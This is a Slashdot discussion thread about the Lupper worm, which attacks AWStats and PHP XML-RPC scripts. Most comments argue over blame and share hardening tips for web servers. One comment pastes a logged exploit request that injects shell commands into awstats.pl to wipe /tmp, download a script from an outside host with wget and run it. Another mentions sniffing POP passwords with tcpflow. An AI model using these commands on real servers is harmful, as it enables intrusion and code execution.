    Seriously, though; isn't everyone fairly aware that PHP ain't that secure?

    --
    WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
    1. Re:Linux/BSD only by mysqlrocks · · Score: 4, Insightful

      Seriously, though; isn't everyone fairly aware that PHP ain't that secure?

      No, PHP is secure. Some applications written in PHP are insecure. Programmers can introduce security vulnerabilities in any language. Bad programming is not language specific.

    2. Re:Linux/BSD only by WhiteWolf666 · · Score: 1

      Fair enough. That's the correct way to say it.

      --
      WhiteWolf666 an exBush supporter. All you new-school,compassionate,save the children Republicans can rot in hell
    3. Re:Linux/BSD only by b10m · · Score: 1
      Bad programming is not language specific.

      Nope, but certain languages are notorious in attracting bad, horrible coders. If you can spell the letters "PHP" you are a card-carrying member of the 1337 club with m4d ski11z...

      Perl used to have this problem, thank god they all now moved to PHP (well, most of them)

    4. Re:Linux/BSD only by mysqlrocks · · Score: 1

      Nope, but certain languages are notorious in attracting bad, horrible coders.

      And what languages are these? The ones that are easier to learn. Therefore, you have more inexperienced programmers coding in these languages. This is a good thing in my book. Programming languages that are easily accessible (such as PHP) attract more people to programming in general. Do you want to hire an inexperienced programmer to build your e-commerce site? Probably not. Do we want to continual attract people to the field of programming? Probably yes. This is what languages like PHP do. I learned PHP before I learned Java (and yes I do mean Java - not JavaScript), for example. Would I have learned Java if I hadn't learned PHP first. Maybe, maybe not. The point is that most people can't just jump into an advanced language like Java or C++ but these "beginner" languages make the transition into higher-level programming possible.

    5. Re:Linux/BSD only by GigsVT · · Score: 1

      I don't think PHP is all that easy to learn. It may have seemed easier if you knew C/C++ syntax first, which a lot of us did.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    6. Re:Linux/BSD only by petermgreen · · Score: 1

      i think the key is php is easy to learn incrementally. you can start with a tiny chunk of code, drop it in your webpage and it will actually do something and if you look at tutorials for php they all seem to be geared this way (i found this highly annoying as someone who can program and wanted to change something in a major php program, all the php tutorials i could find were not programmer orientated).

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    7. Re:Linux/BSD only by m50d · · Score: 1
      Programmers can introduce security vulnerabilities in any language. Bad programming is not language specific.

      True, however some languages are easier to introduce flaws in than others - when was the last time you saw a buffer overflow in a modern language? They do happen but only occasionally. PHP programs seem to have flaws far more often than others.

      --
      I am trolling
    8. Re:Linux/BSD only by Anonymous Coward · · Score: 0

      php makes it ridiculously easy to make things insecure without noticing -- more so than even c

    9. Re:Linux/BSD only by jonadab · · Score: 1

      > No, PHP is secure. Some applications written in PHP are insecure.

      s/some/most/;

      It is true (at least for the most part) that programmers who understand security do not need to be afraid of programming in PHP, any more than any other language.

      The reason *more* PHP apps are insecure than others is primarily because a lot of people pick up PHP with no former programming background at *all*. It looks (vaguely) like HTML, so they have the confidence to start programming. This would not be a big deal, except that then some of them *distribute* what they have done and *other* people use it. The Perl world has Matt's Script Archive, which is infamous, but in the PHP world there's a *LOT* of this sort of thing going on.

      There is also one additional issue, not related per-se to the language but nevertheless PHP specific in that it is related to the PHP software and the way it is normally installed, an issue that has an impact on the defense in depth of systems with PHP installed. Namely, the server will (at least typically) happily execute PHP scripts from *any* (served) directory, not just specific ones, and it will do so even if those scripts do not have their execute bit set at the filesystem level. This is, IMO, a design flaw from a security perspective, and should be changed; PHP execution/interpretation should be enabled on a per-directory or per-subtree basis, and individual files should NOT be executed or interpreted by PHP unless they have their execute permission set. The Open Clip Art Library was not long ago bitten by an interaction between this issue and an overly-permissive submission upload script; the upload script is being corrected, but correcting both would provide better defense in depth.

      --
      Cut that out, or I will ship you to Norilsk in a box.
  29. Re:So let me get this straight by AKAImBatman · · Score: 1

    Except that in order to be attacked, you must have AWStats or WebHints installed. i.e. This isn't corporate software being attacked. It's technologists and power-users who run their own websites.

  30. a decent description by munkt0n · · Score: 1, Informative

    a decent description can be found here http://isc.sans.org/diary.php?storyid=823

  31. Only one response by cout · · Score: 0, Troll
  32. Re:So let me get this straight by bperkins · · Score: 1



    Perhaps the most interesting thing is that a Mac *could* be vulnerable to this attack. Yet 99.9% of the Macs out there aren't, because the system doesn't ship with the web server running by default. In other words, Linux is making Microsoft's mistakes all over again. :-(


    As far as I can tell, a default Linux distro isn't vulnerable until you install a vulnerable php or cgi script. I don't think many Linux system ship in this configuration. The reason why this worm exist is due to the wide deployment of Linux http servers with this specific vulnerability. There just aren't many Mac OS X web servers out there to bother with them.

  33. Well ..... by Anonymous Coward · · Score: 0

    I already have tcpflow -c port 110 |grep -i pass running in a spare VC. Perhaps now I ought to have tcpflow -c port 80 running in another spare VC at all times, just in case. But I'm going to run out of VCs soon!

  34. More info by max+born · · Score: 1

    According to MacAfee its: It is a modified derivative of the Linux/Slapper ...

    And according to a 2002 cert advisory the slapper worm appears to work only on Linux systems running Apache with the OpenSSL module (mod_ssl) on Intel architect..

    Surprisingly their seem to be no mention of it a apache.org which leads me to think it's pretty benign and not wide spread. I could be wrong.

  35. Re:So let me get this straight by Anonymous Coward · · Score: 0

    Perhaps the most interesting thing is that a Mac *could* be vulnerable to this attack. Yet 99.9% of the Macs out there aren't, because the system doesn't ship with the web server running by default. In other words, Linux is making Microsoft's mistakes all over again. :-(

    Web server running by default? Debian doesn't do that. Apache isn't even installed by default. PHP is a seperate install from Apache. This worm appears to be a problem with PHP, not Linux. Linux is just a kernel. If distros have Apache/PHP up and running by default, that is not good, but its wrong to blame Linux for it when the kernel isn't even remotely involved in the vulnerability.

  36. Gnu! by rabel · · Score: 4, Funny

    That's Gnu/Linux worm to you, you insensitive clod!

  37. no login shell by Understudy · · Score: 1

    If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and executed.

    1. don't permit external shell access through you www accounts. Make all you www accounts shell be /usr/bin/false. I realize that some people need cli access but it should be severly limited in it's functions and only used by those who have a real need.
    2. don't permit php/cgi scripts that are explotiable. Okay that is a broad general statement , however there are well known malicious scripts and well known explotiable scripts. Don't allow them. And certainly don't allow them if cli access is being used.
    3. do apply your security patches (after testing).
    4. Host with a good website company like 34sp.com (shameless plug with who I am hosted on)

    1. Re:no login shell by Alioth · · Score: 1

      With this exploit, it doesn't matter what the user's shell is set to (the exploit will most likely run as user 'nobody').

      If you give people CGI access, you have essentially given them shell access (doubly so if you use mod_suexec so the CGI programs run as their username), and changing the user's shell to /usr/bin/false is entirely ineffective. You need to be using SElinux, not have tools like 'wget' installed, and have strict egress filtering on your web server if you want to neutralise the shell accounts that your users can gain themselves.

    2. Re:no login shell by Anonymous Coward · · Score: 0

      You need to be using SElinux, not have tools like 'wget' installed, and have strict egress filtering on your web server if you want to neutralise the shell accounts that your users can gain themselves.

      Surely you could just chmod wget (and others) to 0750 (maybe 0754). And make wget's group one of trusted users?

    3. Re:no login shell by Understudy · · Score: 2, Interesting

      Yes cgi access gives them a virtual shell, you can control how it functions.
      You should be using mod_security.
      http://understudy.net/tutorials.php?name=wget comes back failed You can run limited ablity shell accounts such as scponlyc (chrooted version of scponly)

      And the servers I run on are all FreeBSD based.

      Mod security can be found here:
      http://modsecurity.org/
      http://www.gotroot.com/tiki-index.php?page=mod_sec urity+rules
      http://www.onlamp.com/pub/a/apache/2003/11/26/mod_ security.html

    4. Re:no login shell by Alioth · · Score: 1

      No. Chmodding wget will stop wget working. Although this will frustrate automated scripts and probably worms, it won't stop your own users from writing a CGI script that does what wget does. Or even a more advanced cracker from doing just the same.

      However, you can use SElinux to limit what programs can create and use sockets. If you create a SElinux policy that forbids sockets and apply it to anything that Apache is going to load, and probably Apache itself, you can close off that vulnerability. Alternately (or in addition) you can use iptables rules to prevent outbound access (i.e. egress filtering).

      I think another article recently pointed this out - but enumerating badness often doesn't work. The stance you really need to take is everything is bad unless I specifically say it is good - i.e. take a position of 'default deny'. How strong your default deny position is depends on what kind of service you are running. However, strong egress filtering is possible for virtually every web server without breaking the stuff that should legitimately be running.

  38. clearly a violation by FudRucker · · Score: 4, Funny

    if this worm does not include the sourcecode with every computer it infects it is violating the terms and conditions of the GNU/GPL

    --
    Politics is Treachery, Religion is Brainwashing
  39. Simple but effective hardening measures by dskoll · · Score: 1

    Here are some simple things you can do to harden your server. Note that they are not a substitute for actually fixing or removing broken scripts, but they can buy you time.

    • Enable SELinux. However, if you're running these kinds of scripts, you probably aren't protected by SELinux.
    • Mount /tmp with the noexec flag. Again, not complete protection if the malware is a script (because it can be invoked explicitly with the command interpreter), but it would stop this particular one.
    • Change the permissions on wget so that apache can't read or execute it. Or, remove wget completely from your server. Similarly for rsync, ncftp, etc.
    1. Re:Simple but effective hardening measures by Anonymous Coward · · Score: 0

      Mount /tmp with the noexec flag. Again, not complete protection if the malware is a script (because it can be invoked explicitly with the command interpreter), but it would stop this particular one.

      You may want to do the same for /var/tmp since that's another world-writable directory. Other good options would be nodev and nosuid.

      The following command (run as root) should find the most common ones:

      find / -type d -perm +1000

  40. Re:So let me get this straight by niskel · · Score: 1

    Linux ships with a webserver running by default? Last I checked there was no webserver in the kernel. Everything else is up to the distributor.

  41. It's not Windows by max+born · · Score: 5, Informative

    From the Security Focus article: Affected systems will need to be wiped and have the OS reinstalled, in most cases.

    Apche usually runs as user nobody with very limited privileges. I doubt you'd need to wipe and reinstall the OS. That's why lupper runs in /tmp.

    1. Re:It's not Windows by tomhudson · · Score: 1

      From the Security Focus article: Affected systems will need to be wiped and have the OS reinstalled, in most cases.

      Apche usually runs as user nobody with very limited privileges. I doubt you'd need to wipe and reinstall the OS. That's why lupper runs in /tmp.

      While you're right in principle, wouldn't it be an indication that maybe its time to upgrade the box? Its not like there haven't been fixes for these problems for months and months (one of them since February).

      Now, unlike Windows, its usually quicker to install a fresh copy than it is to do an upgrade (you *do* have backups of your data, right?).

    2. Re:It's not Windows by archen · · Score: 1

      *sigh*

      Here is advice to anyone who is a sysadmin on an affected system.

      set up /tmp as a filesystem and set it to noexec in fstab. You'll stop a surprising ammount of exploits that may affect systems you fail to secure.

    3. Re:It's not Windows by Anonymous Coward · · Score: 0

      *sigh*

      /usr/bin/perl /tmp/script.pl

    4. Re:It's not Windows by 51mon · · Score: 2, Interesting

      It is called privilege escalation.

      Once any system is compromised, you have generally to assume that the attacker escalated their privileges using other exploits. If you had auditing enabled, you might be able to demonstrate that this did not happen, but if you had auditing enabled you probably reinstalled already!

      The problem with these sorts of compromise, is in some shared hosting environments, where the end user could have installed vulnerable PHP. So doesn't really matter how good the admin, or OS is, unless the OS has specific facilities to mitigate this sort of attack.

      I wouldn't take people seeing awstats attempts as proof of the worm, I've been seeing awstats exploit attempts for years, that is usually just run of the mill hacking attempts, semiautomated scanning, or earlier worms.

    5. Re:It's not Windows by phiwum · · Score: 1

      What, Linux has no privilege escalation problems?

      I got bitten by the awstats bug last February and a rootkit was installed before I knew it. In fact, two kits were installed when I figured out something funny was going on (two unexpected reboots in a month).

      It's not Windows, but if you're not on top of things, you sure as heck can get rooted via a web exploit. The fact that Apache runs as nobody doesn't help if your installation has a privilege escalation vulnerability.

      --
      Phiwum's law: anyone that names an obvious law after himself and then puts it in his own sig is just pathetic.
    6. Re:It's not Windows by Anonymous Coward · · Score: 0

      Saw an exploit like this happen on a RH9 box. It exploited an unpatched copy of wordpress. It downloaded uselib24 to /tmp and by the time I saw it, the machine was at a load of 4 trying to execute a race-condition kernel exploit. It had trojaned /sbin/ifconfig too.

      So when you say, "no need to wipe the box," please reconsider that worms like this are downloading things like kernel exploits, waiting for you to issue a command as root. Better have your boxes outfitted with an aide/tripwire database to see where your permissioning was weak.

    7. Re:It's not Windows by budgenator · · Score: 1

      first you must Disable the System Restore Utility; yup that's right the wipeing and reinstall applies to windows.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    8. Re:It's not Windows by Anonymous Coward · · Score: 0

      Yes and you can still execute binary programs in tmp as well, however this will still trip up MANY exploits such as this.

  42. Why Linux is still more secur by ZachPruckowski · · Score: 1

    Unless I misundersand the article and comments, it seems that

    Safety of Linux user who screws up >> MS user who does everything right

  43. Yah! A Worm! by barefootgenius · · Score: 1

    Now I have something to do with this O.S. that I don't seem able to kill with normal usage.
    Which packages do I have to install? I'm feeling nostalgic for Windows.

    --
    /. bug #926803 - Why I can post.
  44. linux? sounds like apache+php by Cheeze · · Score: 1

    sounds to me like an apache with php problem.

    I don't see how that would make it a linux worm. Does this "worm" also work on Solaris, HPUX, AIX, and other apache and php aware operating systems?

    sounds to me like a new version of the old formmail.pl problem.

    --
    Why read the article when I can just make up a snap judgement?
    1. Re:linux? sounds like apache+php by jonadab · · Score: 1

      > Does this "worm" also work on Solaris, HPUX, AIX,
      > and other apache and php aware operating systems?

      This specific worm in its current form does not, because its binary is Linux-specific. However, the vulnerabilities that this worm exploits are in specific scripts, and the vulnerabilities are probably present on all platforms that those scripts support, which almost certainly includes more than just Linux, meaning that the worm could be modified to work on those platforms.

      However, since the worm is not at all widespread running on Linux systems, I rather doubt making it work with HPUX or AIX will make it much more widespread.

      > sounds like a new version of the formmail.pl problem.

      Yes, it's VERY similar to that.

      --
      Cut that out, or I will ship you to Norilsk in a box.
    2. Re:linux? sounds like apache+php by Cheeze · · Score: 1

      Sounds more like a distribution problem and less of a linux problem.

      If a distribution packages insecure scripts in their packages, they should be the ones getting pointed at.

      It would probably be pretty easy to modify the worm to use a bash script or something that would be common on all unixes, bsds, and linux distributions. Then it might become a problem, but until then, it's pretty weak.

      --
      Why read the article when I can just make up a snap judgement?
    3. Re:linux? sounds like apache+php by jonadab · · Score: 1

      > Sounds more like a distribution problem and less of a linux problem.

      It's neither. The vulnerabilities are in third-party scripts that are not, as far as the article indicates, part of the default install on any distribution. (That's why it's not widespread.) The reason "Linux" was mentioned is just because the worm's code happens to have been compiled for that kernel.

      --
      Cut that out, or I will ship you to Norilsk in a box.
  45. An easy, temporary fix by MirrororriM · · Score: 1

    Set up a cron to run at 1 minute intervals to rm -rf /tmp/lupii

    Quite simple really.

    --
    Content Management System: A pretentious way of saying "text editor."
    1. Re:An easy, temporary fix by Anonymous Coward · · Score: 0

      Actually, this would only work if cron job happened to delete the file in the milisecond between when the download finished and the script was run. Deleting the file descriptor of a running process doesn't stop the process.

    2. Re:An easy, temporary fix by Jason+Hildebrand · · Score: 1

      I'd recommend actually fixing the vulnerable scripts, but if you like hackish, temporary solutions, here's a better one:

      # rm -f /tmp/lupii
      # touch /tmp/lupii
      # chown root: /tmp/lupii
      # chmod go-rx /tmp/lupii

      (i.e. create a harmless file which can't be overwritten; which will prevent the worm from installing itself. This assumes you don't run apache as root. God help you if you do.)

    3. Re:An easy, temporary fix by Anonymous Coward · · Score: 0

      if the directory is writable by the apache user, then it doesn't matter what you set the perms of the file to. /tmp defaults to 1777 on nearly every linux system.

    4. Re:An easy, temporary fix by Tmack · · Score: 1
      ehhh, lets test this theory:

      #ls -l /
      ...
      drwxrwxrwt 14 root root 36864 Nov 8 11:28 tmp/
      ...
      #touch /tmp/lupii
      #chmod 000 /tmp/lupii
      #ls -l /tmp/lupii
      ---------- 1 root root 0 Nov 8 11:28 /tmp/lupii
      #exit

      $rm /tmp/lupii
      rm: remove write-protected regular empty file `/tmp/lupii'? yes
      rm: cannot remove `/tmp/lupii': Operation not permitted

      $ls -l /tmp/lupii
      ---------- 1 root root 0 Nov 8 11:28 /tmp/lupii

      tm

      --
      Support TBI Research: http://www.raisinhope.org
    5. Re:An easy, temporary fix by codepunk · · Score: 1

      What where did you go to school? It don't make a damn what the directory permissions
      are if the file had write permissions removed from everyone end of story..

      --


      Got Code?
    6. Re:An easy, temporary fix by Fred+Foobar · · Score: 1

      Look at the permissions of your /tmp directory. It ought to have the sticky bit set, which doesn't allow just anyone to remove everyone's files.

      --
      It was a really good paper.
    7. Re:An easy, temporary fix by MirrororriM · · Score: 1
      Look at the permissions of your /tmp directory. It ought to have the sticky bit set, which doesn't allow just anyone to remove everyone's files.

      Yeah, but cron jobs can be ran as root, so I'm sure that would trump any other permissions...unless I'm missing something.

      Anywho...it was just a quick fix until a patch is created (assuming that the machine owner isn't a programmer).

      --
      Content Management System: A pretentious way of saying "text editor."
  46. Re:So let me get this straight by AKAImBatman · · Score: 1

    True, very true. Unfortunately, AWStats is extremely popular on personal and small business web servers. Its presence is extremely probable as it's a free and feature complete log analyzer. :-(

    I really do wonder if the script can infect an OS X machine running AWStats? Many posters seem to think the answer is 'No'. Sadly, the article is shy on details, but I think the answer may be 'Yes'. Which could make this the first available Mac OS X Virus.

    What's really interesting, however, is the fact that the worm is very similar to the Slapper worm. The only difference is that it exploits common PHP/CGI software rather than Apache itself. A coincidence, or a new revision of the same virus?

  47. Re:So let me get this straight by ponds · · Score: 1

    Although the kernel webserver was removed in 2.6, there are a lot of people still running 2.4, which includes a webserver in the kernel.

    No one enables it though, I'm just being a smartass.

  48. Re:So let me get this straight by the+packrat · · Score: 1
    Linux ships with a webserver running by default? Last I checked there was no webserver in the kernel. Everything else is up to the distributor.
    The distributor would be the person who ships it, yes?
    --
    Nihil Illegitemi Carborvndvm
  49. Sad, really by httptech · · Score: 1
    This is probably going to re-occur now that a precedent is set. Prepare for every new PHP exploit that comes out to be bundled with Slapper like this. It will probably become the Rbot of the Linux world.

    Even more sad, the AV companies couldn't even detect that this was 95% Slapper code! C'mon, the kiddie who released this didn't even strip the debug symbols much less pack it in any way.

    With that said, my writeup of the worm is here:

    http://www.lurhq.com/slapperv2.html

    Includes some previously unreleased facts about who wrote most of the code recycled in Slapper and in Lupper.

  50. Re:So let me get this straight by ragnar.ruutel · · Score: 1

    If the target server is running one of the vulnerable scripts at specific URLs and is configured to permit external shell commands and remote file download in the PHP/CGI environment, a copy of the worm could be downloaded and execute

    Its quite obvious that this is a real security malpractice. Even if someone allows external shell commands from web server they usually limit access to this kind of resources.

    Perhaps the most interesting thing is that a Mac *could* be vulnerable to this attack. Yet 99.9% of the Macs out there aren't, because the system doesn't ship with the web server running by default. In other words, Linux is making Microsoft's mistakes all over again.

    AFAIK, most distros let you choose which services will be installed, so its really up to user.

  51. Re:So let me get this straight by kyrre · · Score: 1

    The Linux webserver would not be vunerable any way, since it does not support PHP.

  52. Re:So let me get this straight by LnxAddct · · Score: 1

    All signs point to linux having anywhere from the same market share as macs up to 3 times the market share of macs, particularly if you take into account webservers which would not show up in places like traditional webstats because web servers don't browse web sites, same thing for HPCs. Also, most linux machines are converted wintel boxes, meaning that as far as sales stats go, Windows makes out really well. Take into account that alot of linux boxes are old as well as new, meaning that alot of people who run linux often run more then one linux box, some of which may be a decade or so old (or much older in some cases). The average wintel box is replaced every 2~3 years. That means, for the sake of argument, if I set up a linux box today and a windows box, in 6 years after the first wintel box is replaced,Microsoft will have 2 "points" and linux will have 1 even though there is still 1 linux box and 1 wintel box running. Now if that linux box originally was a windows box, as it is in most cases, then Microsoft would have 3 "points" and linux none.

    Apple often uses sales figures to make their market share appear larger than it is, those numbers are not accurate and highly biased against linux. But as far as your little rant goes, this is an exploit in php and only php. But it is even more specific than that, you must have a very speicific configuration which pretty much allows anyone to own your machine. This worm doesn't use an exploit, it uses people's stupidity that configure machines for convenience rather than security. It's akin to be leavning the door to my house not only unlocked, but wide open because I didn't feel like being inconvenienced by opening it every day. I've never heard of a box being configured the way the aritcle describes so this is indeed a rare occurence.

    But just in case you forgot, Mac OSX does have its problems, despite the limited amount of software that comes with them and the limited liability that Apple takes. Apple's track record is on par with any linux distro, for instance Debian or Fedora, but this actually means that Apple's record is worse because in a distro like Debian or Fedora, these projects take responsibility for something like 10,000 packages. If you look at Fedora's page in secunia you'll see that its advisories include updates for Mozilla, Squid, Wget, Abiword and every other package. Considering that one project has the burden of having to report and patch so many packages, you would expect the number to be much higher. Looks like linux is still kicking both Microsoft's and Apple's ass as far as security goes.
    Regards,
    Steve

  53. Linux worm? by netkid91 · · Score: 0

    Not EXACTLY a *nix worm, but rather a PHP hole, the executable can only be run on a *nix platform however, so the PHP EXPLOIT goes for all platforms with PHP nad unpatched scripts, but the executable the worm uploads and executes is most likley a shell script or *nix executable, SO if the creator wanted he/she COULD have it check what OS the server is running and upload/exec a OS-specific binary.

    --
    NO~, I read Slashdot because I think it's stupid.....
  54. Funny by Anonymous Coward · · Score: 0

    If you want to see a total lack of security, don't look at MS. Just post something derogatory of Linux, and watch the geeks line up to find excuses. I've never seen so much insecurity in my life. Posting anonymously because they will now take their insecurity out on me, even though it's not my fault they're incapable of accepting criticism.

  55. Netcraft Reports 'BSD Not Affected... by Dystopian+Rebel · · Score: 1

    because BSD is confirmed dead.'

    --
    Rich And Stupid is not so bad as Working For Rich And Stupid.
  56. Re:So let me get this straight by theguywhosaid · · Score: 1

    The reason why this worm exist is due to the wide deployment of Linux http servers with this specific vulnerability. There just aren't many Mac OS X web servers out there to bother with them.

    What about:

    The reason why this worm exist is due to the wide deployment of Windows Desktops with this specific vulnerability. There just aren't many Linux Desktops out there to bother with them.

    Sure, it lacks the first sentence. But the hive-mind here does not like that argument.

  57. LupperLinux... by sweetnjguy29 · · Score: 1

    ...as a new distro sounds catchy, doesn't it?

  58. Um... by sootman · · Score: 1

    one more thing: accorting to the not-very-fine article, the exploit requires one of the following ports listening: UDP 7111, UDP 7222.

    So, once again, a firewall that blocks EVERYTHING, EXCEPT things you want open (like 80 and 22) will prevent this, right? Seems to me that slapper (which affected Apache with mod_ssl and 443 open, IIRC) was much more dangerous.

    --
    Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    1. Re:Um... by jehiah · · Score: 1

      No... those are SYMPTOMS... as in you've been had already.

    2. Re:Um... by sootman · · Score: 1

      Oops, missed that. Thanks. But still, if the worm somehow depends on those ports, wouldn't a firewall keep it from fulfilling its purpose (i.e., "accepting remote commands")? I can't imagine the worm opens those ports and then doesn't need them.

      I'm waiting for a worm that determines you're behind, say, a Linksys firewall, then does sustained dictionary attacks against 192.168.1.1 (username = blank, couldn't be easier!) and opens up the needed ports to the infected machine.

      --
      Dear Slashdot: next time you want to mess with the site, add a rich-text editor for comments.
    3. Re:Um... by schon · · Score: 1

      I'm waiting for a worm that determines you're behind, say, a Linksys firewall, then does sustained dictionary attacks against 192.168.1.1 (username = blank, couldn't be easier!) and opens up the needed ports to the infected machine.

      Don't hold your breath - I suspect you'll be waiting a *long* time.

      If you want a command shell, it would be much easier to open an outbound TCP session and attach a shell to it. This has already been done.

    4. Re:Um... by argent · · Score: 1

      the exploit requires one of the following ports listening: UDP 7111, UDP 7222.

      Why would you have either of these ports listening?

      Or do you mean the payload listens on these ports?

  59. an excerpt from my logs by Anonymous Coward · · Score: 3, Informative

    I checked my logs and found the following:
    [06/Nov/2005:18:13:39 -0500] "GET /stats/awstats/awstats.pl?configdir=|echo%20;cd%20 /tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20membe rs.lycos.co.uk/sugi/a.txt;perl%20a.txt;echo%20;rm% 20-rf%20a.txt*;echo| HTTP/1.1" 404 1030 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"

    Why not get somebody to shut down members.lycos.co.uk/sugi/a.txt??

  60. well, no by diegocgteleline.es · · Score: 1

    "according to MS" -> "According to MS when he's interested in not being accused of being a monopoly".

    Microsoft could change their software to enable/disable the IE-dependent functions when IE is installed/uninstalled. Some apps use the ie com thingy (desktop background, html help, explore.exe's web view, media player) which is good, but that doesn't means it can't be removed (furthermore, IE design is ugly, someone can explain why they don't have a common "image format" com/ole/whatever object that desktop background can use instead of using IE as "kitchen sink")

    When microsoft means "tighly integrate", it means "OMG! If we remove IE people won't be able to use a jpg as background and won't be able to read chm help!", but it doesn't means it can't be removed if they wanted, like if they couldn't move the .chm help to another format. Of course, since lawyers know nothing about computers and money in america's justice matters so much it has not been hard for microsoft to convince lawyers that IE can't be separated from windows.

    1. Re:well, no by jonadab · · Score: 1

      > but that doesn't means it can't be removed

      Indeed, IE can be removed (though it takes some doing; just attempting to delete its files in Windows Explorer, for instance, won't do the job; it's about as tricky as removing Outlook Express, though not, IMO, nearly as important to system security, so I often don't bother; whereas, I keep a batch file on my Perlmonks private scratchpad for removing OE, and running it is on my Windows Installation Checklist; it is available upon request, just /msg me on Perlmonks; I suspect it could be modified for IE with relative ease).

      --
      Cut that out, or I will ship you to Norilsk in a box.
  61. Preventative measures by Alioth · · Score: 3, Insightful

    Well, firstly, I doubt this worm will be particularly widespread - the vast majority of sites use name-based virtual hosting, and this worm just uses the IP address. Obviously some systems (with the very outdated versions of the vulnerable programs) will be vulnerable. But this isn't really the point of what I'm thinking about.

    The point is that if you run a server (of any OS) you can take preventative measures to stop the propagation of hacks/malware/trojans, even if you have users who install buggy PHP scripts. Some straightforward preventative measures are:

    1. Ensure that the 'wget' (and any other similar utilities) command is NOT available to the user which cgi/php scripts are run as. Many hackers use an initial exploit to get into the machine, then wget the script or program they really want to run (such as the good old bindshell)
    2. Mount /tmp (and anything else writeable by the script) no-exec (although there are ways around this, it will defeat many skript kiddies).
    3. Implement rate limiting on the MTA that runs on the machine. Have the MTA shut down altogether if the mail queue is gigantic. This way, if someone does get in, and tries to spam with your machine, it won't get very far. It will also give you time to investigate the problem.
    4. Use iptables! Only open ports that should be open. Also, use *egress* filtering too. If your server should not be contacting anything on port 80, say, except the Debian distro servers for apt, use iptables to stop outbound access to anything except those servers. Prevent all outbound access except where strictly needed.
    5. Treat every local root exploit as if it was a remote root exploit. If you run a web server, there is *no such thing* as a local root exploit. All it takes is a buggy PHP script, and an attacker can try and elevate their privileges through the local root exploit.

    Those 4 things will keep you safe against most of these cookie-cutter or skript kiddie attacks. But to go further:
    6. Use SElinux to only allow Apache to access what it should access and nothing else. Particularly executables. Therefore, if someone manages to successfully wget their exploit script after exploiting the buggy PHP script, they can't actually run it because SElinux will prevent it from being run.
    7. Use Xen to divide your server up. Put the web server (the most complex and most likely to be exploited) in a separate Xen-U instance to everything else. Then you can make sure that the only stuff installed on the instance is stuff strictly needed to run the web sites. You can also do much more agressive filtering with iptables - so for instance, if you put the MTA on another Xen-U, plus all the other services you need (DNS etc). you can make it so the web server needs to have no egress *at all* except via the services on the other xen-U. This makes it essentially impossible for someone to use an exploit to download and run another script on your web server - they can't even change the port number of their webserver (say, to 25) to allow them to get the file they need.

    I have had two serious attempts (i.e. NOT skript kiddies - the most recent one was a Romanian phishing group) to hack my (multi-user, shared hosting) web server in the last couple of years. They were both defeated by at least one of these techniques, and I learned from each. My web server is now divided into multiple Xen instances, and the HTTP server part has very strict egress rules.

    1. Re:Preventative measures by 51mon · · Score: 1

      > the vast majority of sites use name-based virtual hosting, and this worm just uses the IP address

      Ah lightbulb goes on.

      That maybe explains why the number of attempts to exploit awstats on our server was over 20 a day last week, but is now down to less than 4 a day. Shadow effect?

      Have to say I had to search out our busiest webserver logs to find any exploit attempts at all against awstats, my own personal webserver doesn't have any, in any of the sites hosted, not exactly "Code Red" proportions ;)

    2. Re:Preventative measures by petermgreen · · Score: 1

      the vast majority of sites use name-based virtual hosting
      depends, if they are on commercial webhosing probablly but those run on home servers probablly won't unless the user wan'ts to host multiple sites.

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
  62. Lupper? Isn't that a 3:00 pm meal... by Biff+Stu · · Score: 2, Interesting

    It's not quite lunch, it's not quite supper; let's call it lupper!

    1. Re:Lupper? Isn't that a 3:00 pm meal... by chris_eineke · · Score: 1

      I call it dunch. It's the sound it makes when it hits the bowl at 3am in the morning ;)

      --
      "All you have to do is be fragile and grateful. So stay the underdog." Chuck Palahniuk, Choke
  63. Remote Shell Commands? by Anonymous Coward · · Score: 0
    In other words: If you are a complete idiot who allows remote shell commands through your cgi or PHP apps, you're vulnerable.

    Who the hell would do such a thing?

  64. Re:So let me get this straight by AKAImBatman · · Score: 1

    All signs point to linux having anywhere from the same market share as macs up to 3 times the market share of macs, particularly if you take into account webservers which would not show up in places like traditional webstats because web servers don't browse web sites, same thing for HPCs.

    But you'd need to do the same for Macs. Not that I'm saying that Apple is selling more X-Serve Units than Linux installs out there, but the figures for Macs won't show up in the same way that the Linux figures don't show up. It's especially important not to discount Macs as the WebObjects platform is very popular.

    Take into account that alot of linux boxes are old as well as new, meaning that alot of people who run linux often run more then one linux box, some of which may be a decade or so old (or much older in some cases). The average wintel box is replaced every 2~3 years. That means, for the sake of argument, if I set up a linux box today and a windows box, in 6 years after the first wintel box is replaced,Microsoft will have 2 "points" and linux will have 1 even though there is still 1 linux box and 1 wintel box running.

    I don't really buy this argument. Most Linux users I've seen reinstall their system for every major update, which tends to come more often than Windows. This is something of a requirement as software support isn't as long lasting on Linux as it is on Windows. i.e. Many developers make a concious effort to support machines going all the way back to Win98. Linux developers OTOH tend to target the latest GLIBC, thus requiring that the user churn through new installations at a fairly good clip. BSD machines seem to have a bit longer lifespan, but they also suffer from upgrade-or-die-itis. In the case of FreeBSD, however, the system is designed to be easily upgraded via a system recompile. (Which amazingly tends not to break things.)

    But as far as your little rant goes, this is an exploit in php and only php.

    Incorrect. It's an exploit against the AWStats CGI script and the PHP XML-RPC APIs. Apparently it can also exploit WebHints. (Whatever that is.)

    But it is even more specific than that, you must have a very speicific configuration which pretty much allows anyone to own your machine.

    It is a very common configuration. Hundreds of inexpensive web hosts offer AWStats, and many personal web servers run it to track traffic. There are a LOT of people who are vulnerable to this exploit. Especially since people think of AWStats as being something hidden that only they can see. Why would they upgrade?

    But just in case you forgot, Mac OSX does have its problems, despite the limited amount of software that comes with them and the limited liability that Apple takes.

